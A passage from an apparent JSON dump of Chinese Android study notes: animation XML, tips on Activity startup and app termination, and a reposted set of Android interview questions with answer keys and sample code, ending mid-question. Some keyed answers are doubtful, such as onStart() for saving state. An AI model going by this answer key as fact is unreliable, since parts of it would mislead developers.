android:interpolator=\"@android:anim/accelerate_interpolator\"\n\txmlns:android=\"http://schemas.android.com/apk/res/android\">\n\t<translate android:duration=\"2000\"\n\t\tandroid:fromYDelta=\"0.0\"\n\t\tandroid:toYDelta=\"100.0%p\" />\n</set>\n``` \n\nwave_scale.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\tandroid:interpolator=\"@android:anim/accelerate_interpolator\">\n\t<alpha android:fromAlpha=\"0.0\" \n\t\tandroid:toAlpha=\"1.0\"\n\t\tandroid:duration=\"2000\" />\n\t\t\n\t<scale android:fromXScale=\"0.5\" \n\t\tandroid:toXScale=\"1.5\"\n\t\tandroid:fromYScale=\"0.5\" \n\t\tandroid:toYScale=\"1.5\" \n\t\tandroid:pivotX=\"50%\"\n\t\tandroid:pivotY=\"50%\" \n\t\tandroid:duration=\"2000\" />\n\t\t\n\t<scale android:fromXScale=\"1.5\" \n\t\tandroid:toXScale=\"1.0\"\n\t\tandroid:fromYScale=\"1.5\" \n\t\tandroid:toYScale=\"1.0\" \n\t\tandroid:pivotX=\"50%\"\n\t\tandroid:pivotY=\"50%\" \n\t\tandroid:startOffset=\"200\"\n\t\tandroid:duration=\"2000\" />\n</set>\n\n```"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/如何提高Activity启动速度.md",
    "content": "　　\n# 如何提高Activity启动速度\n\n 减少onCreate的时间，那就精简onCreate里的代码。放在onResume里好了。为了用户体验更好一些，把页面显示的View细分一下，放在AsyncTask里逐步显示，如果你够熟练，用handler更好，这样用户的看到的就是有层次有步骤的一个个的view的展示，不会是先看到一个黑屏，然后一下显示所有view。最好作成动画，效果更自然些。利用多线程的目的就是尽可能的减少onCreate和onReume的时间，使得用户能尽快看到页面，操作页面。\n　　\n\n 但是，很多操作是只需要一次初始化的，都放在onResume里每次进入activity都会浪费初始化时间。这个好解决，做一个boolean变量，在onCreate里标记为true。在onResume里判断为true就进行初始化，初始化完成立刻置为false。搞定。\n\n\n1.减小主线程的阻塞时间　\n\n   　若一个操作耗时教长(超过5秒 用户无响应5秒 网络和数据库阻塞10秒 广播接收者执行超过10秒会导致ANR),我们应该将其放入后台线程中执行,只在需要修改UI界面时通知主线程进行修改。\n    Android已经提供了AsynTask以实现从主线程生成新的异步任务的方法。具体用法参见异步任务。　\n    \n2.提高Adapter和AdapterView的效率\n    (1)重用已生成过的Item View\n    (2) 添加ViewHolder\n    (3) 缓存Item的数据\n    (4)分段显示　\n    \n3.优化布局文件\n   如果我们的布局层次过多,那么在我们用findViewById的时间必然会变多，一个变多可能不要紧，但是有很多调用必然会影响性能。\n\n   (1) 使用观察布局的工具 Hierarchy Viewer\n\n   (2)使用布局优化工具: Layoutopt\n\n   (3)优化布局的层次结构\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/如何终止App的运行.md",
    "content": "# 如何终止App的运行\n\n- 在application中定义一个单例模式的Activity栈来管理所有Activity。并提供退出所有Activity的方法。\n\n\n- AndroidManifest.xml 添加权限\n\n``<uses-permission android:name=\"android.permission.KILL_BACKGROUND_PROCESSES\" />``\n\n退出应用的方法：\n\n\n```\nActivityManager am= (ActivityManager) this\n\t\t.getSystemService(Context.ACTIVITY_SERVICE);\nam.killBackgroundProcesses(this.getPackageName());\n```\n\n- Dalvik VM的本地方法\n  android.os.Process.killProcess(android.os.Process.myPid())    //获取PID \n  System.exit(0);   //常规java、c#的标准退出法，返回值为0代表正常退出\n\n-Android的窗口类提供了历史栈\n\n我们可以通过stack的原理来巧妙的实现，这里我们在A窗口打开B窗口时在Intent中直接加入标 志  Intent.FLAG_ACTIVITY_CLEAR_TOP，这样开启B时将会清除该进程空间的所有Activity。\n在A窗口中使用下面的代码调用B窗口\n\n```\nIntent intent = new Intent(); \nintent.setClass(this, B.class); \nintent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);  //注意本行的FLAG设置 \nstartActivity(intent);\n```\n\n接下来在B窗口中需要退出时直接使用finish方法即可全部退出。"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/面试题.md",
    "content": "# Android基础面试题\n\n\n本文为转载文章：原文地址：https://github.com/CharonChui/AndroidNote\n\n\n没有删这套题，虽然都是网上找的，在刚开始找工作的时候这套题帮了我很多，那时候`Android`刚起步，很多家都是这一套面试题，我都是直接去了不看题画画一顿就写完了，哈哈\n现在估计没有公司会用这种笔试题了。还是留下来吧，回忆一下。\n\n1. 下列哪些语句关于内存回收的说明是正确的? (b)          \n  A、 程序员必须创建一个线程来释放内存      \n  B、 内存回收程序负责释放无用内存     \n  C、 内存回收程序允许程序员直接释放内存      \n  D、 内存回收程序可以在指定的时间释放内存对象      \n2. 下面异常是属于Runtime Exception 的是（abcd）(多选)             \n      A、ArithmeticException          \n      B、IllegalArgumentException       \n      C、NullPointerException         \n      D、BufferUnderflowException        \n3. Math.round(11.5)等于多少(). Math.round(-11.5)等于多少(c)           \n    A、11 ,-11   B、11 ,-12   C、12 ,-11   D、12 ,-12 \n4. 下列程序段的输出结果是：(b)              \n    ```java\n     void complicatedexpression_r(){\n     int x=20, y=30;\n     boolean b;\n     b=x>50&&y>60||x>50&&y<-60||x<-50&&y>60||x<-50&&y<-60;\n     System.out.println(b);\n     }\n\t ```\n     A、true  B、false  C、1  D、011.activity\n5. 对一些资源以及状态的操作保存，最好是保存在生命周期的哪个函数中进行(d)     \n   A、onPause()  B、onCreate()   C、 onResume()   D、onStart()  \n6. Intent传递数据时，下列的数据类型哪些可以被传递（abcd）(多选)            \n   A、Serializable  B、charsequence  C、Parcelable  D、Bundle\n7. android 中下列属于Intent的作用的是(c)     \n  A、实现应用程序间的数据共享      \n  B、是一段长的生命周期，没有用户界面的程序，可以保持应用在后台运行，而不会因为切换页面而消失         \n  C、可以实现界面间的切换，可以包含动作和动作数据，连接四大组件的纽带       \n  D、处理一个应用程序整体性的工作     \n8. 下列属于SAX解析xml文件的优点的是(b)          \n    A、将整个文档树在内存中，便于操作，支持删除，修改，重新排列等多种功能        \n    B、不用事先调入整个文档，占用资源少          \n    C、整个文档调入内存，浪费时间和空间           \n    D、不是长久驻留在内存，数据不是持久的，事件过后，若没有保存数据，数据就会消失           \n9. 下面的对自定style的方式正确的是(a)     \n    A、           \n\t```xml\n\t<resources>\n\t\t<style name=\"myStyle\">\n\t\t\t<item name=\"android:layout_width\">fill_parent</item>\n\t\t</style>\n\t</resources>\n\t```                \n     B、              \n\t ```xml\n\t<style name=\"myStyle\">\n\t\t\t\t<item name=\"android:layout_width\">fill_parent</item>\n\t</style>\n\t```          \n     C、               \n\t```xml \n\t<resources>\n\t\t<item name=\"android:layout_width\">fill_parent</item>\n\t</resources>\n\t```        \n     D、       \n\t ```xml\n\t<resources>\n\t\t<style name=\"android:layout_width\">fill_parent</style>\n\t</resources>\n\t```\n10. 在android中使用Menu时可能需要重写的方法有（ac）。(多选)                \n\tA、onCreateOptionsMenu()        \n\tB、onCreateMenu()      \n\tC、onOptionsItemSelected()    \n\tD、onItemSelected()       \n11. 在SQL Server Management Studio 中运行下列T-SQL语句，其输出值（c）               \n\t`SELECT @@IDENTITY`      \n\tA、\t可能为0.1        \n\tB、\t可能为3       \n\tC、 不可能为-100   \n\tD、\t肯定为0    \n12. 在SQL Server 2005中运行如下T-SQL语句，假定SALES表中有多行数据，执行查询之后的结果是（d）。                               \n\t```\n\tBEGIN TRANSACTION A\n \tUpdate SALES Set qty=30 WHERE qty<30\n\tBEGIN TRANSACTION B\n\t\tUpdate SALES Set qty=40 WHERE qty<40\n\t\tUpdate SALES Set qty=50 WHERE qty<50\n\t\tUpdate SALES Set qty=60 WHERE qty<60\n\tCOMMIT　TRANSACTION B\n\tCOMMIT TRANSACTION A\n\t ```              \n\tA、SALES表中qty列最小值大于等于30        \n\tB、SALES表中qty列最小值大于等于40       \n\tC、SALES表中qty列的数据全部为50     \n\tD、SALES表中qty列最小值大于等于60     \n13. 在android中使用SQLiteOpenHelper这个辅助类时，可以生成一个数据库，并可以对数据库版本进行管理的方法可以是(ab)           \n\tA、getWriteableDatabase()        \n\tB、getReadableDatabase()        \n\tC、getDatabase()        \n\tD、getAbleDatabase()        \n14.\tandroid 关于service生命周期的onCreate()和onStart()说法正确的是(ad)(多选题)             \n\tA、当第一次启动的时候先后调用onCreate()和onStart()方法         \n\tB、当第一次启动的时候只会调用onCreate()方法               \n\tC、如果service已经启动，将先后调用onCreate()和onStart()方法         \n\tD、如果service已经启动，只会执行onStart()方法，不在执行onCreate()方法        \n15. 下面是属于GLSurFaceView特性的是(abc)(多选)         \n\tA、管理一个surface，这个surface就是一块特殊的内存，能直接排版到android的视图view上。            \n\tB、管理一个EGL display，它能让opengl把内容渲染到上述的surface上。           \n\tC、让渲染器在独立的线程里运作，和UI线程分离。        \n\tD、可以直接从内存或者DMA等硬件接口取得图像数据          \n16. 下面在AndroidManifest.xml文件中注册BroadcastReceiver方式正确的(a)            \n  \tA、        \n\t```xml\n\t<receiver android:name=\"NewBroad\">\n\t\t<intent-filter>\n\t\t\t<action  \n\t\t\t   android:name=\"android.provider.action.NewBroad\"/>\n\t\t\t<action>\n\t\t</intent-filter>\n\t</receiver>\n\t```             \n    B、       \n\t```xml\n\t<receiver android:name=\"NewBroad\">\n\t\t<intent-filter>\n\t\t\tandroid:name=\"android.provider.action.NewBroad\"/>\n\t\t</intent-filter>\n\t</receiver>\n\t```           \n    C、         \n\t ```xml\n\t<receiver android:name=\"NewBroad\">\n\t\t<action  \n\t\t\t  android:name=\"android.provider.action.NewBroad\"/>\n\t\t <action>\n\t</receiver>\n\t```          \n    D、\n                   \n    ```xml\n\t<intent-filter>\n\t\t<receiver android:name=\"NewBroad\">\n\t\t\t<action> \n\t\t\t   android:name=\"android.provider.action.NewBroad\"/>\n\t\t\t<action>\n\t\t</receiver>\n\t</intent-filter>\n\t```          \n\t\n17. 关于ContenValues类说法正确的是(a)        \n    A、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名是String类型，而值都是基本类型        \n    B、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名是任意类型，而值都是基本类型           \n    C、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名，可以为空，而值都是String类型        \n    D、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名是String类型，而值也是String类型    \n18. 我们都知道Hanlder是线程与Activity通信的桥梁,如果线程处理不当，你的机器就会变得越慢，那么线程销毁的方法是(a)       \n    A、onDestroy()         \n    B、onClear()      \n    C、onFinish()      \n    D、onStop()        \n19. 下面退出Activity错误的方法是(c)\n    A、finish()        \n \tB、抛异常强制退出        \n    C、System.exit()        \n    D、onStop()      \n20. 下面属于android的动画分类的有(ab)(多项)      \n    A、Tween  B、Frame C、Draw D、Animation \n21.\t下面关于Android dvm的进程和Linux的进程,应用程序的进程说法正确的是(d)          \n    A、DVM指dalivk的虚拟机.每一个Android应用程序都在它自己的进程中运行,不一定拥有一个独立 的Dalvik虚拟机实例.而每一个DVM都是在Linux 中的一个进程,\n\t所以说可以认为是同一个概念.                \n    B、DVM指dalivk的虚拟机.每一个Android应用程序都在它自己的进程中运行,不一定拥有一个独立的Dalvik虚拟机实例.而每一个DVM不一定都是在Linux 中的一个进程,\n\t所以说不是一个概念.        \n    C、DVM指dalivk的虚拟机.每一个Android应用程序都在它自己的进程中运行,都拥有一个独立的Dalvik虚拟机实例.而每一个DVM不一定都是在Linux 中的一个进程,\n\t所以说不是一个概念.              \n    D、DVM指dalivk的虚拟机.每一个Android应用程序都在它自己的进程中运行,都拥有一个独立的 Dalvik虚拟机实例.而每一个DVM都是在Linux 中的一个进程,\n\t所以说可以认为是同一个概念.       \n22. Android项目工程下面的assets目录的作用是什么(b)      \n\tA、放置应用到的图片资源。      \n\tB、主要放置多媒体等数据文件          \n\tC、放置字符串，颜色，数组等常量数据           \n\tD、放置一些与UI相应的布局文件，都是xml文件       \n23. 关于res/raw目录说法正确的是(a)    \n\tA、这里的文件是原封不动的存储到设备上不会转换为二进制的格式         \n\tB、这里的文件是原封不动的存储到设备上会转换为二进制的格式         \n\tC、这里的文件最终以二进制的格式存储到指定的包中       \n\tD、这里的文件最终不会以二进制的格式存储到指定的包中      \n24. 下列对android NDK的理解正确的是(abcd)      \n\tA、NDK是一系列工具的集合         \n\tB、NDK 提供了一份稳定、功能有限的 API 头文件声明。      \n\tC、使 “Java+C” 的开发方式终于转正，成为官方支持的开发方式      \n\tD、NDK 将是 Android 平台支持 C 开发的开端        \n\t\n25. android中常用的四个布局是framlayout，linenarlayout，relativelayout和tablelayout。\n26. android 的四大组件是activiey，service，broadcast和contentprovide。\n27. java.io包中的objectinputstream和objectoutputstream类主要用于对对象(Object)的读写。\n28. android 中service的实现方法是：startservice和bindservice。\n29. activity一般会重载7个方法用来维护其生命周期，除了onCreate(),onStart(),onDestory() \t 外还有onrestart,onresume,onpause,onstop。\n30. android的数据存储的方式sharedpreference,文件,SQlite,contentprovider,网络。\n31.\t当启动一个Activity并且新的Activity执行完后需要返回到启动它的Activity来执行 的回调函数是startActivityResult()。\n32.\t请使用命令行的方式创建一个名字为myAvd,sdk版本为2.2,sd卡是在d盘的根目录下,名字为scard.img， 并指定屏幕大小HVGA.____________________________________。\n33.\t程序运行的结果是：_____good and gbc__________。\n\t```java\n    public class Example{ \n\t　　String str=new String(\"good\"); \n\t　　char[]ch={'a','b','c'}; \n\t　　public static void main(String args[]){ \n\t　　　　Example ex=new Example(); \n\t　　　　ex.change(ex.str,ex.ch); \n\t　　　　System.out.print(ex.str+\" and \"); \n\t　　　　Sytem.out.print(ex.ch); \n\t　　} \n\t　　public void change(String str,char ch[]){ \n\t　　　　str=\"test ok\"; \n\t　　　　ch[0]='g'; \n\t　　} \n\t}\n\t```\n34. 在android中，请简述jni的调用过程。(8分)         \n\t1)安装和下载Cygwin，下载 Android NDK          \n\t2)在ndk项目中JNI接口的设计        \n\t3)使用C/C++实现本地方法      \n\t4)JNI生成动态链接库.so文件           \n\t5)将动态链接库复制到java工程，在java工程中调用，运行java工程即可            \n35. 简述Android应用程序结构是哪些?(7分)              \n\tAndroid应用程序结构是：          \n\tLinux Kernel(Linux内核)、Libraries(系统运行库或者是c/c++核心库)、Application          \n\tFramework(开发框架包)、Applications\t(核心应用程序)   \n36.\t请继承SQLiteOpenHelper实现：(10分)              \n\t1）.创建一个版本为1的“diaryOpenHelper.db”的数据库             \n\t2）.同时创建一个 “diary” 表（包含一个_id主键并自增长，topic字符型100长度， content字符型1000长度）        \n\t3）.在数据库版本变化时请删除diary表，并重新创建出diary表。          \n\t```java\n\tpublic class DBHelper  extends SQLiteOpenHelper {\n\n\t\tpublic final static String DATABASENAME = \"diaryOpenHelper.db\";\n\t\tpublic final static int DATABASEVERSION = 1;\n\n\t\t//创建数据库\n\t\tpublic DBHelper(Context context,String name,CursorFactory factory,int version)\n\t\t{\n\t\t\tsuper(context, name, factory, version);\n\t\t}\n\t\t//创建表等机构性文件\n\t\tpublic void onCreate(SQLiteDatabase db)\n\t\t{\n\t\t\tString sql =\"create table diary\"+\n\t\t\t\t\t\t\"(\"+\n\t\t\t\t\t\t\"_id integer primary key autoincrement,\"+\n\t\t\t\t\t\t\"topic varchar(100),\"+\n\t\t\t\t\t\t\"content varchar(1000)\"+\n\t\t\t\t\t\t\")\";\n\t\t\tdb.execSQL(sql);\n\t\t}\n\t\t//若数据库版本有更新，则调用此方法\n\t\tpublic void onUpgrade(SQLiteDatabase db,int oldVersion,int newVersion)\n\t\t{\n\t\t\t\n\t\t\tString sql = \"drop table if exists diary\";\n\t\t\tdb.execSQL(sql);\n\t\t\tthis.onCreate(db);\n\t\t}\n\t}\n\t```\n37. 页面上现有ProgressBar控件progressBar，请用书写线程以10秒的的时间完成其进度显示工作。（10分）           \n\t```java\n\tpublic class ProgressBarStu extends Activity {\n\n\t\tprivate ProgressBar progressBar = null;\n\t\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\tsetContentView(R.layout.progressbar);\n\t\t\t//从这到下是关键\n\t\t\tprogressBar = (ProgressBar)findViewById(R.id.progressBar);\n\t\t\t\n\t\t\tThread thread = new Thread(new Runnable() {\n\t\t\t\t\n\t\t\t\t@Override\n\t\t\t\tpublic void run() {\n\t\t\t\t\tint progressBarMax = progressBar.getMax();\n\t\t\t\t\ttry {\n\t\t\t\t\t\twhile(progressBarMax!=progressBar.getProgress())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tint stepProgress = progressBarMax/10;\n\t\t\t\t\t\t\tint currentprogress = progressBar.getProgress();\n\t\t\t\t\t\t\tprogressBar.setProgress(currentprogress+stepProgress);\n\t\t\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t});\n\t\t\t\n\t\t\tthread.start();\n\t\t\t//关键结束\n\t\t}\n\t}\n\t```\n38. 如何退出Activity？如何安全退出已调用多个Activity的Application？             \n\t对于单一Activity的应用来说，退出很简单，直接finish()即可。         \n\t当然，也可以用killProcess()和System.exit()这样的方法。          \n\t但是，对于多Activity的应用来说，在打开多个Activity后，如果想在最后打开的Activity直接退出，上边的方法都是没有用的，因为上边的方法都是结束一个Activity而已。      \n\t当然，网上也有人说可以。   \n\t就好像有人问，在应用里如何捕获Home键，有人就会说用keyCode比较KEYCODE_HOME即可，而事实上如果不修改framework，根本不可能做到这一点一样。      \n\t所以，最好还是自己亲自试一下。          \n\t那么，有没有办法直接退出整个应用呢？      \n\t在2.1之前，可以使用ActivityManager的restartPackage方法。        \n\t它可以直接结束整个应用。在使用时需要权限android.permission.RESTART_PACKAGES。          \n\t注意不要被它的名字迷惑。         \n\t可是，在2.2，这个方法失效了。        \n\t在2.2添加了一个新的方法，killBackgroundProcesses()，需要权限 android.permission.KILL_BACKGROUND_PROCESSES。          \n\t可惜的是，它和2.2的restartPackage一样，根本起不到应有的效果。        \n\t另外还有一个方法，就是系统自带的应用程序管理里，强制结束程序的方法，forceStopPackage()。         \n\t它需要权限android.permission.FORCE_STOP_PACKAGES。            \n\t并且需要添加android:sharedUserId=\"android.uid.system\"属性        \n\t同样可惜的是，该方法是非公开的，他只能运行在系统进程，第三方程序无法调用。          \n\t因为需要在Android.mk中添加LOCAL_CERTIFICATE := platform。           \n\t而Android.mk是用于在Android源码下编译程序用的。             \n\t从以上可以看出，在2.2，没有办法直接结束一个应用，而只能用自己的办法间接办到。        \n\t现提供几个方法，供参考：     \n\t- 抛异常强制退出：      \n\t\t该方法通过抛异常，使程序Force Close。\n\t\t验证可以，但是，需要解决的问题是，如何使程序结束掉，而不弹出Force Close的窗口。\n\t- 记录打开的Activity：\n\t    每打开一个Activity，就记录下来。在需要退出时，关闭每一个Activity即可。\n\t- 发送特定广播：\n\t\t在需要结束应用时，发送一个特定的广播，每个Activity收到广播后，关闭即可。\n\t- 递归退出     \n\t\t在打开新的Activity时使用startActivityForResult，然后自己加标志，在onActivityResult中处理，递归关闭。\n\t除了第一个，都是想办法把每一个Activity都结束掉，间接达到目的。       \n\t但是这样做同样不完美。          \n\t你会发现，如果自己的应用程序对每一个Activity都设置了nosensor，在两个Activity结束的间隙，sensor可能有效了。      \n\t但至少，我们的目的达到了，而且没有影响用户使用。      \n\t为了编程方便，最好定义一个Activity基类，处理这些共通问题。       \n39. 请介绍下Android中常用的五种布局。             \n\tFrameLayout（框架布局），LinearLayout （线性布局），AbsoluteLayout（绝对布局），RelativeLayout（相对布局），TableLayout（表格布局）\n40. 请介绍下Android的数据存储方式。        \n\t- SharedPreferences方式\n\t- 文件存储方式\n\t- SQLite数据库方式\n\t- 内容提供器（Content provider）方式\n\t- 网络存储方式\n41. 请介绍下ContentProvider是如何实现数据共享的。         \n\t创建一个属于你自己的Content provider或者将你的数据添加到一个已经存在的Content provider中，前提是有相同数据类型并且有写入Content provider的权限。\n42. 如何启用Service，如何停用Service。            \n\tAndroid中的service类似于windows中的service，service一般没有用户操作界面，它运行于系统中不容易被用户发觉，\n\t可以使用它开发如监控之类的程序。\n\t一。步骤\n\t第一步：继承Service类\n\tpublic class SMSService extends Service { }\n\t第二步：在AndroidManifest.xml文件中的<application>节点里对服务进行配置:\n\t<service android:name=\".DemoService\" />\n\t二。Context.startService()和Context.bindService\n\t服务不能自己运行，需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可\n\t以启动Service，但是它们的使用场合有所不同。         \n\t1.使用startService()方法启用服务，调用者与服务之间没有关连，即使调用者退出了，服务仍然运行。\n\t使用bindService()方法启用服务，调用者与服务绑定在了一起，调用者一旦退出，服务也就终止。           \n\t2.采用Context.startService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，\n\t接着调用onStart()方法。如果调用startService()方法前服务已经被创建，多次调用startService()方法并\n\t不会导致多次创建服务，但会导致多次调用onStart()方法。\n\t采用startService()方法启动的服务，只能调用Context.stopService()方法结束服务，服务结束时会调用\n\tonDestroy()方法。 \n\t \n\t3.采用Context.bindService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，\n\t接着调用onBind()方法。这个时候调用者和服务绑定在一起，调用者退出了，系统就会先调用服务的onUnbind()方法，\n\t。接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定，多次调用bindService()方法并不会\n\t导致多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)。如果调用者希望与正在绑定的服务\n\t解除绑定，可以调用unbindService()方法，调用该方法也会导致系统调用服务的onUnbind()-->onDestroy()方法。\n\t三。Service的生命周期\n\t1. Service常用生命周期回调方法如下：\n\tonCreate() 该方法在服务被创建时调用，该方法只会被调用一次，无论调用多少次startService()或bindService()方法，\n\t服务也只被创建一次。 onDestroy()该方法在服务被终止时调用。 \n\t2. Context.startService()启动Service有关的生命周期方法\n\tonStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。\n\t多次调用startService()方法尽管不会多次创建服务，但onStart() 方法会被多次调用。\n\t3. Context.bindService()启动Service有关的生命周期方法\n\tonBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用，\n\t当调用者与服务已经绑定，多次调用Context.bindService()方法并不会导致该方法被多次调用。\n\tonUnbind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。\n\t\n\t备注：\n\t1. 采用startService()启动服务\n\t\t Intent intent = new Intent(DemoActivity.this, DemoService.class);\n\t\t startService(intent);\n\t2. Context.bindService()启动\n\t\tIntent intent = new Intent(DemoActivity.this, DemoService.class);\n\t\tbindService(intent, conn, Context.BIND_AUTO_CREATE);\n\t   //unbindService(conn);//解除绑定\n43. 注册广播有几种方式，这些方式有何优缺点？请谈谈Android引入广播机制的用意。            \n\tAndroid广播机制（两种注册方法）             \n\t在android下，要想接受广播信息，那么这个广播接收器就得我们自己来实现了，我们可以继承BroadcastReceiver，就可以有一个广播接受器了。\n\t有个接受器还不够，我们还得重写BroadcastReceiver里面的onReceiver方法，当来广播的时候我们要干什么，这就要我们自己来实现，\n\t不过我们可以搞一个信息防火墙。具体的代码：  \n\t```java\n\tpublic class SmsBroadCastReceiver extends BroadcastReceiver {   \n\t\t@Override  \n\t\tpublic void onReceive(Context context, Intent intent) {   \n\t\t\tBundle bundle = intent.getExtras();   \n\t\t\tObject[] object = (Object[])bundle.get(\"pdus\");   \n\t\t\tSmsMessage sms[]=new SmsMessage[object.length];   \n\t\t\tfor(int i=0;i<object.length;i++) {   \n\t\t\t\tsms[0] = SmsMessage.createFromPdu((byte[])object[i]);   \n\t\t\t\tToast.makeText(context, \"来自\"+sms[i].getDisplayOriginatingAddress()+\" 的消息是：\"+sms[i].getDisplayMessageBody(), Toast.LENGTH_SHORT).show();   \n\t\t\t}   \n\t\t\t//终止广播，在这里我们可以稍微处理，根据用户输入的号码可以实现短信防火墙。   \n\t\t\tabortBroadcast();   \n\t\t}          \n\t}  \n\t```\n\t当实现了广播接收器，还要设置广播接收器接收广播信息的类型，这里是信息：android.provider.Telephony.SMS_RECEIVED \n\t我们就可以把广播接收器注册到系统里面，可以让系统知道我们有个广播接收器。这里有两种，\n\t一种是代码动态注册：     \n\t```java\n\t//生成广播处理   \n\tsmsBroadCastReceiver = new SmsBroadCastReceiver();   \n\t//实例化过滤器并设置要过滤的广播   \n\tIntentFilter intentFilter = new IntentFilter(\"android.provider.Telephony.SMS_RECEIVED\"); \n\t//注册广播   \n\tBroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);  \n\t```\n\t一种是在AndroidManifest.xml中配置广播\n\t```xml\n\t<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n\t<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"  \n\t\t  package=\"spl.broadCastReceiver\"  \n\t\t  android:versionCode=\"1\"  \n\t\t  android:versionName=\"1.0\">  \n\t\t<application android:icon=\"@drawable/icon\" android:label=\"@string/app_name\">  \n\t\t\t<activity android:name=\".BroadCastReceiverActivity\"  \n\t\t\t\t\t  android:label=\"@string/app_name\">  \n\t\t\t\t<intent-filter>  \n\t\t\t\t\t<action android:name=\"android.intent.action.MAIN\" />  \n\t\t\t\t\t<category android:name=\"android.intent.category.LAUNCHER\" />  \n\t\t\t\t</intent-filter>  \n\t\t\t</activity>  \n\t\t\t   \n\t\t\t<!--广播注册-->  \n\t\t\t<receiver android:name=\".SmsBroadCastReceiver\">  \n\t\t\t\t<intent-filter android:priority=\"20\">  \n\t\t\t\t\t<action android:name=\"android.provider.Telephony.SMS_RECEIVED\"/>  \n\t\t\t\t</intent-filter>  \n\t\t\t</receiver>  \n\t\t\t   \n\t\t</application>  \n\t\t   \n\t\t<uses-sdk android:minSdkVersion=\"7\" />  \n\t\t   \n\t\t<!-- 权限申请 -->  \n\t\t<uses-permission android:name=\"android.permission.RECEIVE_SMS\"></uses-permission>  \n\t</manifest>   \n\t```\n\t两种注册类型的区别是：        \n\t- 第一种不是常驻型广播，也就是说广播跟随程序的生命周期。\n    - 第二种是常驻型，也就是说当应用程序关闭后，如果有信息广播来，程序也会被系统调用自动运行。\n44. 请解释下在单线程模型中Message、Handler、Message Queue、Looper之间的关系。          \n    Handler简介：\n    一个Handler允许你发送和处理Message和Runable对象，这些对象和一个线程的MessageQueue相关联。每一个线程实例和一个单独的线程以及该线程的MessageQueue相关联。\n    当你创建一个新的Handler时，它就和创建它的线程绑定在一起了。这里，线程我们也可以理解为线程的MessageQueue。从这一点上来看，\n    Handler把Message和Runable对象传递给MessageQueue，而且在这些对象离开MessageQueue时，Handler负责执行他们。\n    Handler有两个主要的用途：（1）确定在将来的某个时间点执行一个或者一些Message和Runnable对象。（2）在其他线程（不是Handler绑定线程）中排入一些要执行的动作。\n    Scheduling Message，即（1），可以通过以下方法完成：       \n    post(Runnable):Runnable在handler绑定的线程上执行，也就是说不创建新线程。     \n    postAtTime(Runnable,long):         \n    postDelayed(Runnable,long):        \n    sendEmptyMessage(int):       \n    sendMessage(Message):      \n    sendMessageAtTime(Message,long):        \n    sendMessageDelayed(Message,long):         \n    post这个动作让你把Runnable对象排入MessageQueue,MessageQueue受到这些消息的时候执行他们，当然以一定的排序。sendMessage这个动作允许你把Message对象排成队列，\n    这些Message对象包含一些信息，Handler的hanlerMessage(Message)会处理这些Message.当然，handlerMessage(Message)必须由Handler的子类来重写。这是编程人员需要作的事。\n    当posting或者sending到一个Hanler时，你可以有三种行为：当MessageQueue准备好就处理，定义一个延迟时间，定义一个精确的时间去处理。\n    后两者允许你实现timeout,tick,和基于时间的行为。           \n    当你的应用创建一个新的进程时，主线程（也就是UI线程）自带一个MessageQueue，这个MessageQueue管理顶层的应用对象（像activities,broadcast receivers等）和\n    主线程创建的窗体。你可以创建自己的线程，并通过一个Handler和主线程进行通信。这和之前一样，通过post和sendmessage来完成，差别在于在哪一个线程中执行这么方法。\n    在恰当的时候，给定的Runnable和Message将在Handler的MessageQueue中被Scheduled。      \n    Message简介：         \n    Message类就是定义了一个信息，这个信息中包含一个描述符和任意的数据对象，这个信息被用来传递给Handler.Message对象提供额外的两个int域和一个Object域，\n    这可以让你在大多数情况下不用作分配的动作。尽管Message的构造函数是public的，但是获取Message实例的最好方法是调用Message.obtain(),\n    或者Handler.obtainMessage()方法，这些方法会从回收对象池中获取一个。            \n    MessageQueue简介：           \n    这是一个包含message列表的底层类。Looper负责分发这些message。Messages并不是直接加到一个MessageQueue中，而是通过MessageQueue.IdleHandler关联到Looper。\n    你可以通过Looper.myQueue()从当前线程中获取MessageQueue。       \n    Looper简介：                \n    Looper类被用来执行一个线程中的message循环。默认情况，没有一个消息循环关联到线程。在线程中调用prepare()创建一个Looper，然后用loop()来处理messages，直到循环终止。\n    大多数和message loop的交互是通过Handler。    \n    下面是一个典型的带有Looper的线程实现。\n    ```java\n    class LooperThread extends Thread {\n      public Handler mHandler;\n      \n      public void run() {\n    \t  Looper.prepare();\n    \t  \n    \t  mHandler = new Handler() {\n    \t\t  public void handleMessage(Message msg) {\n    \t\t\t  // process incoming messages here\n    \t\t  }\n    \t  };\n    \t  \n    \t  Looper.loop();\n      }\n    }\n    ```\n45. AIDL的全称是什么？如何工作？能处理哪些类型的数据？           \n\tAIDL的英文全称是Android Interface Define Language\n\t当A进程要去调用B进程中的service时，并实现通信，我们通常都是通过AIDL来操作的\n\tA工程：           